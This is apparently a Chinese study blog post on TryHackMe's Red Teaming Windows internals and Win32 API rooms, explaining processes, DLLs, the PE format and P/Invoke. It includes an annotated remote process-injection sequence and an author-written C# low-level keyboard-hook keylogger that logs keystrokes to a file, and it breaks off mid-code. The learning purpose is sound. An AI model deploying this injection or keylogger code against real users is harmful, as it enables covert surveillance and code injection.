Try Hack Me - Red Teaming

这是 TryHackMe Red Teaming Path 的 Host Evasions 部分，因为我是从 JR -> WAP -> Offensive Pentesting 这样学过来的，所以前面的很多房间学完了，AD 也在 OP 里面学完了，所以就这一部分没学。

全都是 Windows 相关的知识，学起来挺费劲的，对于从来没有接触过 C# 的我来说有点懵逼，特别是 Windows 那些非托管代码的用法一个都不知道，从来没有接触过 Windows 开发，不过还好，房间讲的很细，同时也要靠自己的主观性去搜不懂的有疑问的知识点，网上资源很多。我学习的过程中并不是仅限于房间内的资源，还会拓展很多的。

还是和 Offensive Pentesting 一样，建议这篇文章作为官方 WP 的补充来阅读。

Windows Internals

这个房间主要介绍了有关进程，可执行文件相关的东西，大体是让我们掌握这些的概念，不至于懵懵懂懂，相对来说还是挺好理解的。

Process

一个应用程序包含多个进程，一个进程又由多个组件组成。文档把这些组件分解为每个进程提供执行程序所需要的资源。

进程是通过执行应用程序创建的，Windows 的大部分功能都可以视为一个应用程序，拥有相应的进程。攻击者可以利用这些合法的进程进行攻击，以逃避检测。以下是一些进程攻击方法：

• Process Injection（进程注入） (T1055)
• Process Hollowing（进程镂空） (T1055.012)
• Process Masquerading（进程伪装） (T1055.013)

一个进程具有虚拟地址空间、可执行代码、打开系统对象的句柄、安全上下文、唯一的进程标识符、环境变量、优先级类、最小和最大工作集大小，以及至少一个执行线程。

我们也可以在较低的层面上解释一个进程，因为它驻留在虚拟地址空间中。下表和图表描述了进程在内存中的样子。

这些信息说实话有点抽象了，但是我们能用任务管理器观察到他们实际的存在。这些数据是用户和攻击者最常操纵的内容。

这里的问题就问了一些进程的 PID 相关，还有一个进程的完整性级别，之前做 Windows AD 里面碰到过。

Threads

线程是进程的一个可执行单元，线程与其父进程共享相同的详细信息和资源，例如代码、全局变量等。线程也有其独特的数值和数据，如下表所示。

题目这里说实话把我绕住了，首先第一问问的是 notepad.exe 创建时，操作系统为它自动生成的第一个线程的唯一 ID 是什么。第二问是前一个线程的栈参数是什么，其实答案是是哪个线程 ID 创建了接下来的 notepad.exe。

Virtual memory

虚拟内存为每个进程提供一个私有虚拟内存空间。内存管理器用来将虚拟内存地址映射到物理地址的。拥有虚拟内存空间可以不直接写入物理内存，这样进程就减小碰撞风险了。内存管理器使用的是页来传输内存。所以应用程序用的虚拟内存可能会多于实际的物理内存。同时还会将页面虚拟内存移到磁盘（SWAP），以解决内存不够用的问题，提升系统效率，下图是示例。

32 位系统理论虚拟地址空间极限是 4GB。这个地址空间被一分为二，下半部分（0x00000000 - 0x7FFFFFFF）所述分配给进程。上半部分（0x80000000 - 0xFFFFFFFF）分配给操作系统内存使用。管理员可以设置 (increaseUserVA) 或者 AWE (Address Windowing Extensions) 来解决需要更大地址空间的应用程序。64 位系统的理论极限是 256TB。

可以看看 Windows XP，还有 Windows Server 2003 那些开启 4G 内存支持的文章。小时候自己也折腾过，开了一个 PAE，然后把没用到的内存开一个虚拟磁盘，然后在那个虚拟盘上开一个 SWAP。

Dynamic Link Libraries

这一节就是讲动态链接库了，和后面的几个房间都相关。

官方文档：What is a DLL

DLL 在我看来和 JavaScript Python 那些包的概念类似，它们实现了代码重用和模块化。不过 DLL 是编译好的，当然语言类型不同这些也应该不一样。

DLL 作为一个程序中所要用到的函数被加载，因为这个程序依赖 DLL，攻击者就可以针对 DLL 而不是应用程序本身来攻击，相当于把这个方法劫持了，以下是 MTIRE 攻击向量：

• DLL Hijacking（DLL 劫持） (T1574.001)
• DLL Side-Loading（DLL 侧载） (T1574.002)
• DLL Injection（DLL 注入） (T1055.001)

新版 QQ 使用 betterqqnt 那种方法我觉得应该是 DLL 劫持，因为他把恶意的 dbghelp.dll 文件丢到那个目录下，然后程序默认就会运行并且执行这个 DLL 里面的方法（我猜的）。

DLL 的创建与任何其他项目/应用程序并无不同；它们只需要稍作语法修改即可工作。下面是来自 Visual C++ Win32 动态链接库项目 的一个 DLL 示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include "stdafx.h"
#define EXPORTING_DLL
#include "sampleDLL.h"
// 这个函数是每个 DLL 文件必须包含的入口点函数，他是由 Windows 操作系统自动调用
// hModule (DLL 的句柄)：操作系统告诉 DLL “这就是你自己的身份令牌”。DLL 可以用这个令牌来找到自己的位置，或者在需要时加载自己内部的资源。
// ul_reason_for_call (被调用的原因)：操作系统告诉 DLL “我找你是因为一个新进程加载了你”，或者“一个线程正在退出，所以你需要做一些清理工作”。DLL 可以根据这个参数来决定它应该执行什么代码。
// lpReserved (保留参数)：操作系统告诉 DLL “这个参数暂时不用，但将来可能会用，请不要动它”。
// DWORD = unsigned long
//
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
)
{
    // 这段代码中 DLLMain 没有执行任何参数，只是返回 TRUE，意味着他在 DLL 加载和卸载的时候不做任何初始化和清理工作
    return TRUE;
}

void HelloWorld()
{
    MessageBox( NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK);
}

DWORD ul_reason_for_call

• 1 (或 DLL_PROCESS_ATTACH)：DLL 刚刚被一个新进程加载。
• 2 (或 DLL_THREAD_ATTACH)：DLL 所在的进程里创建了一个新线程。
• 3 (或 DLL_THREAD_DETACH)：DLL 所在的进程里有一个线程退出了。
• 0 (或 DLL_PROCESS_DETACH)：DLL 即将被进程卸载。

下面是该 DLL 的头文件，通常会保存在一个名为 sampleDLL.h 的头文件中，并被其他源代码文件引用。它将定义导入和导出的函数。

1
2
3
4
5
6
7
8
9

#ifndef INDLL_H
    #define INDLL_H
    #ifdef EXPORTING_DLL
        extern __declspec(dllexport) void HelloWorld();
    #else
        extern __declspec(dllimport) void HelloWorld();
    #endif

#endif

加载 DLL

DLL 可以使用加载时动态链接或运行时动态链接加载到程序中。

加载时动态链接 load-time dynamic linking

当使用加载时动态链接加载时，应用程序会显式调用 DLL 函数。只有通过提供头文件 .h 和导入库文件 .lib 才能实现这种类型的链接。下面是一个从应用程序调用导出的 DLL 函数的示例。

1
2
3
4
5
6
7
8

#include "stdafx.h"
// 这里显式的导入了我们的文件
#include "sampleDLL.h"
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    HelloWorld();
    return 0;
}

运行时动态链接 run-time dynamic linking

当使用运行时动态链接加载时，会使用一个单独的函数（LoadLibrary 或 LoadLibraryEx）在运行时加载 DLL。加载后，你需要使用GetProcAddress 来识别要调用的导出的 DLL 函数。下面是一个在应用程序中加载和导入 DLL 函数的示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

...
// 这行代码定义了一个新的函数指针类型，名为 DLLPROC。这个类型的函数指针不返回任何值（VOID），并且接受一个字符串参数（LPTSTR）
typedef VOID (*DLLPROC) (LPTSTR);
...
// 这行声明了一个名为 HelloWorld 的函数指针变量，它的类型是我们上面定义的 DLLPROC
DLLPROC HelloWorld;
// HINSTANCE 是一个句柄类型，用于存储加载的 DLL 模块的实例句柄。它代表了 DLL 在内存中的位置
HINSTANCE hinstDLL;
// 一个布尔变量，用于存储 FreeLibrary 函数的返回值，以检查操作是否成功
BOOL fFreeDLL;
// 加载 DLL，如果成功加载，会返回一个模块句柄给 hinstDLL，失败返回 NULL
hinstDLL = LoadLibrary("sampleDLL.dll");
if (hinstDLL != NULL)
{
    // 它在已经加载的 DLL 模块中查找并返回 HelloWorld 的内存地址。
    HelloWorld = (DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");
    if (HelloWorld != NULL)
        // 调用函数指针的。它执行 HelloWorld 指针所指向的代码，也就是 sampleDLL.dll 中的 HelloWorld 函数
        (HelloWorld);
    // 释放 DLL
    fFreeDLL = FreeLibrary(hinstDLL);
}
...

TBH，这个代码把我绕了一会才看懂，如果没有 C 基础的话很坐牢的，不过梳理了一下把指针又复习了一遍就解决了，就拿上面代码中的这几行来解释：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 这里是定义一个名字叫 DLLPROC 的“函数指针类型”
typedef VOID (*DLLPROC) (LPTSTR);

// 原代码
// 这里是执行一个强制转换的功能
// 将一个通用指针的类型，安全地转换为一个特定的（DLLPROC）函数指针类型。
HelloWorld = (DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");

// 第一种
// 编译器会抛出一个错误，告诉你“不能将一个地址解引用（dereference）为 DLLPROC 类型。”
// 这里的 * 试图解引用这个地址，尝试读取这个地址中的“值”
HelloWorld = *(DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");

// 第二种
// 不能在类型转换的括号里使用 * 符号
HelloWorld = (*DLLPROC) GetProcAddress(hinstDLL, "HelloWorld");

在恶意代码中，通常会更多地使用运行时动态链接，而非加载时动态链接，但是具体的加载时动态链接案例没讲。

Portable Executable Format

PE（Portable Executable，可移植可执行文件）格式是可执行文件和对象文件的总体结构。PE 和 COFF（Common Object File Format，通用对象文件格式）文件构成了 PE 格式。

PE 数据的结构的解释如下：

1. DOS 头部 定义了文件的类型，MZ DOS 头将文件格式定义为 .exe。

   1. **DOS Stub **是文件开头默认运行的一个程序，它会打印一条兼容性消息。这对于大多数用户来说不会影响文件的任何功能。当文件在旧的 DOS 系统中运行时，这个小程序会执行并打印那条经典的“This program cannot be run in DOS mode.”（本程序不能在 DOS 模式下运行）消息。在现代 Windows 系统中，这一部分会被忽略。

2. PE 头部（PE Header）也叫 NT 头 IMAGE_NT_HEADERS

   1. PE 签名是一个固定的 DWORD 值 0x50450000（即 “PE\0\0”），用于正式标识文件为 PE 格式。
   2. 文件头（File Header）提供了二进制文件的 PE 头信息，它定义了文件的格式，包含签名和镜像文件头，目标机器类型（32 位还是 64 位）、节的数量、时间戳等。
   3. 可选文件头（Optional Header）的名称具有欺骗性，它是 PE 文件头的重要组成部分。它包含了加载器所需的最重要信息，比如程序入口点、代码和数据的基址等。
      1. 数据目录（Data Directories）它是可选文件头的一部分，是一个数组，数组中的每个条目都指向一个重要的数据结构，比如导入表、导出表、资源表等。

3. 节头部表（Section Header）提供了每个节的元数据，比如名称、在文件中的位置、在内存中的位置、大小和权限等。

4. 节（Sections）是文件的实际内容。每个节都有不同的作用和权限。

   部分	作用
   .text	包含可执行代码和入口点
   .data	包含已初始化数据（字符串、变量等）。
   .rdata or .idata	包含导入（Windows API）和 DLL。
   .reloc	包含重定位信息
   .rsrc	包含应用程序资源（图像等）
   .debug	包含调试信息

一个 .exe 文件是由 DOS 头 + PE 头 + 节组成的，一个标准的 PE 文件在内存中的布局是这样的：

1. DOS 头 (IMAGE_DOS_HEADER)
2. DOS 存根 (DOS Stub)
3. PE 签名 (PE\0\0)
4. NT 头 (IMAGE_NT_HEADERS)
5. 节头列表 (IMAGE_SECTION_HEADER 数组)
6. 节内容 (.text, .data 等)

想要了解更多可以看看这个文章：PE文件结构解析

Interacting with Windows Internals

这一节就是讲 Windows API 这些了，然后说了一下用户态和内核态这些。

大多数 Windows 内部组件都需要与物理硬件和内存交互，应用程序默认情况下通常无法与内核交互或修改物理硬件，并且需要一个接口实现这些。

在用户模式或 “userspace” 中启动的应用程序将保持在该模式。当应用程序需要执行一个只有内核才能完成的操作时（例如：读写文件、创建新进程、网络通信等），它会发出一个系统调用请求，这个系统调用就是那个“切换点”的触发器。具体流程参考下图。

当 C# 这样的语言想要调用 Win32 API 时，它不会直接调用。它的代码会先被 CLR（Common Language Runtime）接管。CLR 会负责将中间代码翻译成机器码，并且在必要的时候，由 CLR 去调用底层的 Win32 API 来与操作系统交互。

所以，这个过程可以看作是一个“间接”调用：你的 C# 代码 → CLR → Win32 API → 操作系统

而不是：你的 C# 代码 → Win32 API → 操作系统

CLR 类似 Java Runtime 这样的东西，他也是提供了一个运行时，提供了自动垃圾回收、类型安全检查等功能。

注入弹窗到进程中

我们将把一个消息框注入到本地进程中，以演示与内存交互的 PoC，将消息框写入内存的步骤如下所述：

1. 为消息框分配本地进程内存。
2. 将消息框写入/复制到已分配的内存中。
3. 从本地进程内存执行消息框。

第一步，我们可以使用 OpenProcess 获取指定进程的句柄。

1
2
3
4
5
6

// 获取一个进程的句柄
HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // 定义访问的权限
	FALSE, // 目标句柄不可被继承，我们创建的子程序不带权限
	DWORD(atoi(argv[1])) // 读取用户在命令行输入的进程号，转为 int
);

第二步，我们可以使用 VirtualAllocEx 分配一个带有有效载荷缓冲区的内存区域。

1
2
3
4
5
6
7
8
9

// VirtualAllocEx 在指定进程中分配、预留或释放内存
// remoteBuffer 存储这个新分配区域的地址
remoteBuffer = VirtualAllocEx(
	hProcess, // 打开的目标进程的句柄
	NULL, // 操作系统来决定分配内存的最佳位置
	sizeof payload, // 内存分配区域的大小
	(MEM_RESERVE | MEM_COMMIT), // 预留然后提交
	PAGE_EXECUTE_READWRITE // 对提交区域开启执行和读写权限
);

第三步，我们可以使用 WriteProcessMemory 将有效载荷写入已分配的内存区域。

1
2
3
4
5
6
7

WriteProcessMemory(
	hProcess, // 打开的目标进程的句柄
	remoteBuffer, // 上一步分派的内存区域
	payload, // 要写入的数据
	sizeof payload, // 数据的字节大小
	NULL // 不返回实际写入的字节数
);

WriteProcessMemory的完整函数签名是这样的：

1

BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );

• lpNumberOfBytesWritten：这个参数是一个可选的指针。如果你传入一个有效的地址，WriteProcessMemory 函数会将实际写入的字节数写入到这个地址。
• NULL：当你传入 NULL 时，就表示你不关心实际写入了多少字节，你只希望函数执行写入操作。

第四步，我们可以使用 CreateRemoteThread 从内存中执行我们的有效载荷。

1
2
3
4
5
6
7
8
9
10
11

// CreateRemoteThread：这个函数是 Windows API 中最经典的远程线程创建函数。它在目标进程内创建一个新的线程。
// remoteThread：一个 HANDLE 类型的变量，它将存储新创建的线程的句柄。有了这个句柄，你就可以控制这个线程，例如等待它完成或终止它。
remoteThread = CreateRemoteThread(
	hProcess, // 打开的目标进程的句柄，也就是要在哪个进程里面创建线程
	NULL, // 这个参数是用来设置线程的安全属性的，传入 NULL 表示使用默认的安全描述符。
	0, // 栈的默认大小
	(LPTHREAD_START_ROUTINE)remoteBuffer, // 这是一个类型转换，它告诉 CreateRemoteThread，remoteBuffer 指向的是一个线程可以开始执行的函数。
	NULL, // 这是传递给新线程的参数。如果你的注入代码（payload）需要一个参数，就会在这里传入。
	0, // 传入 0 表示线程创建后立即开始执行。
	NULL // 一个可选参数，用于接收新线程的 ID。传入 NULL 表示你不关心新线程的 ID。
);

这个房间需要一些 Windows 开发相关的知识，如果不懂那些，光靠房间本身的解释是不够的，尤其是那些方法签名。房间只给你写好了示例，但是不给你解释每个方法形参的详细作用，导致理解很困难，上面的大部分都是靠 AI 来帮忙来理解的，光记录这个房间就用了我一下午的时间，不过收获很大。

Introduction to Windows API

这个房间呢，则是介绍了 Windows API 的组成，和一些调用 API 的方式，总体来说是概念为主，告诉了我们大部分攻防措施都是通过 API 来实现的，比如说 Hook API 以监测 API 的调用。这个房间要对操作系统架构有一个概念性的理解，就是那个操作系统分层模型。

Windows API 的组成部分

自上而下分解 Windows API

OS Libraries 系统库

Win32 库的每个 API 调用都驻留在内存中，需要一个指向该函数的内存地址的指针。由于 ASLR（地址空间布局随机化），没法直接定位到这个函数，所以需要程序通过一个特定的机制去动态的定位这些函数的地址。比如说在 DLL 加载到内存后，通过 GetProcAddress 去查询需要的函数名，以获取他的内存地址。

Windows Header File 头文件

微软发布了 Windows 头文件，解决因为 ASLR 获取不到 API 地址的解决方案。

我们在编写自己的程序中，可以导入 windows.h 。他包含了几乎所有 Win32 API 函数的声明、数据类型和宏定义。它告诉你的程序，像 MessageBox、CreateRemoteThread 这样的函数是存在的，以及它们的参数和返回值类型。

在运行时，通过操作系统提供的动态加载机制（例如 LoadLibrary 和 GetProcAddress），我们能根据函数名动态地找到它的真实地址。

P/Invoke 机制和托管代码

我们之前聊过，像 C# 这样的托管代码（Managed Code）运行在 CLR (Common Language Runtime) 之下。CLR 会管理内存、提供垃圾回收，并保护你免受很多底层错误的困扰。

而 Win32 API 是 非托管代码（Unmanaged Code），它直接与操作系统交互，不被 CLR 管理。

如果你的 C# 程序想调用一个 Win32 API 函数（例如 MessageBoxA），它不能直接调用，因为它们属于不同的“世界”。这个过程就像你在写 C++ 代码中用到汇编代码一样（ffmpeg）。

下面的代码从系统运行时里面导入了 InteropServices 命名空间，里面有一个 DllImport 特性，后面会紧跟着一个函数声明，这个声明告诉运行时，在 user32.dll 中有一个叫 MessageBox 的函数，它接受一些参数，并返回一个整数。

只要声明之后就可以在 C# 代码中直接像调用普通方法一样调用 MessageBox。extern 关键字告诉 C# 编译器，这个函数不是在当前代码文件中实现的。

当你使用 [DllImport] 特性时，你实际上是在创建一个外部方法的声明。这个声明需要用 extern 关键字来修饰，因为它所指向的实际代码位于非托管的 DLL 文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13

using System;
// 导入了 InteropServices 命名空间，它包含了所有与托管和非托管代码交互相关的类和特性，包括 DllImport
using System.Runtime.InteropServices;

public class Program
{
	// "user32.dll": 指定了我们要从哪个 DLL 文件中导入函数。user32.dll 是 Windows 操作系统的一个核心 DLL，包含了图形用户界面相关的函数，比如 MessageBox。
	// CharSet = CharSet.Unicode: 这个参数告诉运行时，在调用非托管函数时，字符串应该使用 Unicode 字符集。
    // SetLastError = true: 这是一个非常重要的参数，它告诉运行时，在调用非托管函数后，如果函数失败了，要保存 Windows 系统的错误代码。你可以通过 Marshal.GetLastWin32Error() 方法来获取这个错误代码。
	[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

}

现在就可以把这个函数当成托管方法调用了，尽管他是非托管方法。

API Call Structure API 调用结构

API 调用是 Win32 库的第二个主要组成部分。具体的 Win32 API 调用可以参考 Windows API documentation 和 pinvoke.net。

附加字符

API 调用功能可以通过附加一个代表性字符来扩展，这是微软 Win32 API 函数的命名约定，我们作为开发者只需要按照这个命名规则去调用正确的函数版本。

更多示例参考微软文档：Working with Strings，这个功能是为了向后兼容性准备的。

在之后的实践中你就会碰到很多问题了，比如说在 C 程序中，用的是 ANSI 编码，然后提供的函数没有 A 结尾的，就要手动处理函数类转换了。

方法签名

每个 API 调用都有预定义的结构来定义其输入/输出参数。你可以在 Windows API index 中相应的 API 文档里面找到。

下面是 WirteProcessMemory API 调用的示例，官方文档：WriteProcessMemory function (memoryapi.h)

1
2
3
4
5
6
7

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

• [in] hProcess: 要修改的进程内存的句柄。该句柄必须对进程具有 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 访问权限。
• [in] lpBaseAddress: 一个指向指定进程中要写入数据的基地址的指针。在数据传输发生之前，系统会验证基地址和指定大小内存中的所有数据是否可用于写入访问，如果不可访问，则函数失败。
• [in] lpBuffer: 一个指向缓冲区的指针，该缓冲区包含要写入指定进程地址空间的数据。
• [in] nSize: 要写入指定进程的字节数。
• [out] lpNumberOfBytesWritten: 一个指向变量的指针，该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten 为 NULL，则忽略该参数。

上一个房间用过这个函数，这里就把文档里的每个参数的作用复制过来了，最主要还是得看文档。

API Implementations API 实现

API 实现在 C 中

Microsoft 为 C 和 C++ 等低级编程语言提供了一套预配置的库，我们可以使用这些库来访问所需的 API 调用。这个就是上上节讲的 windows.h 文件，在我们的程序开头添加一个 #include <windows.h> ，导入进来就行。

下面是一个使用 CreateWindowExA 创建一个标题为“Hello THM!”的弹出窗口的示例，文档地址：CreateWindowExA function (winuser.h)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

// HWND 是窗口句柄
// CreateWindowExA 方法签名
HWND CreateWindowExA(
  [in]           DWORD     dwExStyle, // 窗口扩展样式（比如是否是工具窗口、是否是浮动窗口等）
  [in, optional] LPCSTR    lpClassName, // 指定创建的窗口的类型或模板
  [in, optional] LPCSTR    lpWindowName, // 窗口标题
  [in]           DWORD     dwStyle, // 窗口的标准样式（比如是否有最大化按钮、是否可以调整大小等）
  [in]           int       X, // X position
  [in]           int       Y, // Y position
  [in]           int       nWidth, // Width size
  [in]           int       nHeight, // Height size
  [in, optional] HWND      hWndParent, // 父窗口
  [in, optional] HMENU     hMenu, // 菜单
  [in, optional] HINSTANCE hInstance, // 与窗口关联的模块实例的句柄
  [in, optional] LPVOID    lpParam // 指向一个值的指针，允许你将一个自定义的数据结构传递给窗口
);

// 具体的调用代码
HWND hwnd = CreateWindowsEx(
	0, 
	CLASS_NAME, 
	L"Hello THM!", 
	WS_OVERLAPPEDWINDOW, 
	CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 
	NULL, 
	NULL, 
	hInstance, 
	NULL
	);

CreateWindowEx 是 CreateWindow 的增强版本。

• 基础版本：CreateWindow。它提供了一组基本的窗口样式参数（dwStyle），足以创建大多数常见的窗口。
• 扩展版本：CreateWindowEx。它在 CreateWindow 的基础上，额外添加了一个 dwExStyle 参数，提供了更多特殊或高级的窗口样式。

API 实现在 .NET and PowerShell 中

下面是一个示例应用程序，它使用 API 获取运行该应用程序的设备的计算机名和其他信息。

为了让 P/Invoke 代码在 32 位和 64 位系统上都能正确编译和运行，开发者会选择使用 IntPtr 来映射这些可变大小的指针和句柄。HANDLE 在 32 位系统上是 4 字节，在 64 位系统上是 8 字节。为了让 P/Invoke 代码在 32 位和 64 位系统上都能正确编译和运行，开发者会选择使用 IntPtr 来映射这些可变大小的指针和句柄。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class Win32 {
	[DllImport("kernel32")]
    // 这里用 bool 来接收也可以，这个函数是返回成功与否
    // 我也不清楚为什么给的 demo 用的 IntPtr 接收
	public static extern IntPtr GetComputerNameA(StringBuilder lpBuffer, ref uint lpnSize);
}

static void Main(string[] args) {
	bool success;
	StringBuilder name = new StringBuilder(260);
	uint size = 260;
	success = GetComputerNameA(name, ref size);
	Console.WriteLine(name.ToString());
}

现在来介绍相同的方法如何在 PowerShell 中实现，我们需要创建一个方法而不是一个类，并添加一些额外的运算符。

1
2
3
4
5
6
7
8

$MethodDefinition = @"
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;

这些调用现在已定义，但 PowerShell 在初始化它们之前还需要一个步骤。我们必须为方法定义中每个 Win32 DLL 的指针创建一个新类型。函数 Add-Type 将在 /temp 目录中放置一个临时文件，并使用 csc.exe 编译所需的函数。下面是该函数的使用示例。

1

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

现在就能用如下的语法调用这个 API：

1

[Win32.Kernel32]::<Imported Call>()

这个 PowerShell 和 NET 在之后的学习中会用到很多次，注意给的 demo 的区别是 PowerShell 代码通常含有 $。

常用滥用 API

Win32 库中的一些 API 调用很容易被恶意活动利用。SANs 和 MalAPI.io 在内的多个组织记录和整理了所有具有恶意的可用 API 调用。下面是一些常用滥用 API 的名字和作用：

案例学习

现在我们已经了解了 Win32 库和常用滥用 API 调用的底层实现，接下来让我们分析两个恶意软件样本，并观察它们的调用如何交互。

键盘记录器

由于键盘记录器是用 C#编写的，它必须使用 P/Invoke 来获取每个调用的指针。下面是恶意软件样本源代码的 P/Invoke 定义片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// 将一个钩子过程（Hook Procedure）安装到 Windows 系统中的一个钩子链上
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
// 从 Hook 链中移除 Hook
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
// 如果指定的模块已映射到调用进程的地址空间中，则返回该模块的句柄
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static int WHKEYBOARDLL = 13;
// 返回一个伪句柄
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetCurrentProcess();

下面是这个样本中 Hook 的片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

public static void Main() {
    // _proc 是一个回调函数，当有键盘事件发生时，Windows 会调用这个函数
    // 如果钩子安装成功，SetHook 函数会返回一个钩子句柄，并存储在 _hookID 中
	_hookID = SetHook(_proc);
    // 这是 C# 应用程序的消息循环
    // 启动一个循环，等待和处理各种事件（如键盘事件、鼠标事件、窗口消息等）
	Application.Run();
    // 当程序退出消息循环时（比如用户关闭了窗口），会调用这个函数
    // 它卸载之前安装的钩子，否则钩子会一直留在内存中，导致资源泄漏
	UnhookWindowsHookEx(_hookID);
    // 退出应用程序
	Application.Exit();
}
private static IntPtr SetHook(LowLevelKeyboardProc proc) {
    // 这行代码获取当前正在运行的进程。using 关键字确保 curProcess 对象在使用后会被正确地释放
	using (Process curProcess = Process.GetCurrentProcess()) {
        // 低级键盘钩子
        // 返回一个钩子句柄
		return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curProcess.ProcessName), 0);
	}
}

参考：Using Hooks

键盘记录器 Demo

这是我写的一个键盘记录器 Demo。

总体的过程是创建一个进程，然后给这个进程上一个全局的低级键盘钩子，让每次按键执行的时候都会触发我们的回调函数，回调函数记录并且写入按键到硬盘。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class Program
{
    // 定义一个静态字段来存储钩子句柄
    private static IntPtr _hookID = IntPtr.Zero;

    // 定义一个委托，用于处理键盘事件的回调函数
    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    // 实例化 LowLevelKeyboardProc 委托，并指向我们自己的钩子回调函数
    private static LowLevelKeyboardProc _proc = HookCallback;

    // 这是 Windows API 函数的 P/Invoke 声明
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    // 键盘钩子类型，表示低级键盘钩子
    private static int WH_KEYBOARD_LL = 13;

    // 键盘消息常量
    // WM_KEYDOWN: 普通按键被按下时发送的消息
    private const int WM_KEYDOWN = 0x0100;
    // WM_SYSKEYDOWN: 系统按键被按下时发送的消息（例如 ALT+TAB, F10 等）
    private const int WM_SYSKEYDOWN = 0x0104;

    // 全局写入器
    private static StreamWriter logWriter;

    // 程序的入口点，也是核心逻辑所在
    public static void Main()
    {
        // 在程序启动时，打开一个文件用于写入日志
        logWriter = new StreamWriter("keystrokes.log", true);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

        // 在程序退出时，关闭文件
        logWriter.Close();
        Application.Exit();
    }

    // 安装钩子的方法
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            // SetWindowsHookEx 函数将我们的回调函数注册为钩子
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    // 钩子的回调函数，当有键盘事件发生时，Windows 会调用此函数
    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        // 如果 nCode 小于 0，不处理消息
        if (nCode >= 0)
        {
            // 检查按键是否被按下
            if (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN)
            {
                // 获取虚拟键码
                int vkCode = Marshal.ReadInt32(lParam);

                // 将虚拟键码转换为 C# 的 Keys 枚举
                Keys key = (Keys)vkCode;

                // 判断按键是否是字母
                if (key >= Keys.A && key <= Keys.Z)
                {
                    // 如果是字母，转换为小写并直接写入文件，不换行
                    logWriter.Write(key.ToString().ToLower());
                }
                else
                {
                    // 如果是其他按键，将按键名称（用 [] 括起来）写入文件并换行
                    logWriter.WriteLine($" [{key.ToString()}]");
                }

                // 确保内容立即写入文件，防止数据丢失
                logWriter.Flush();
            }
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    // 将消息传递给 Hook 链中的下一个钩子
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
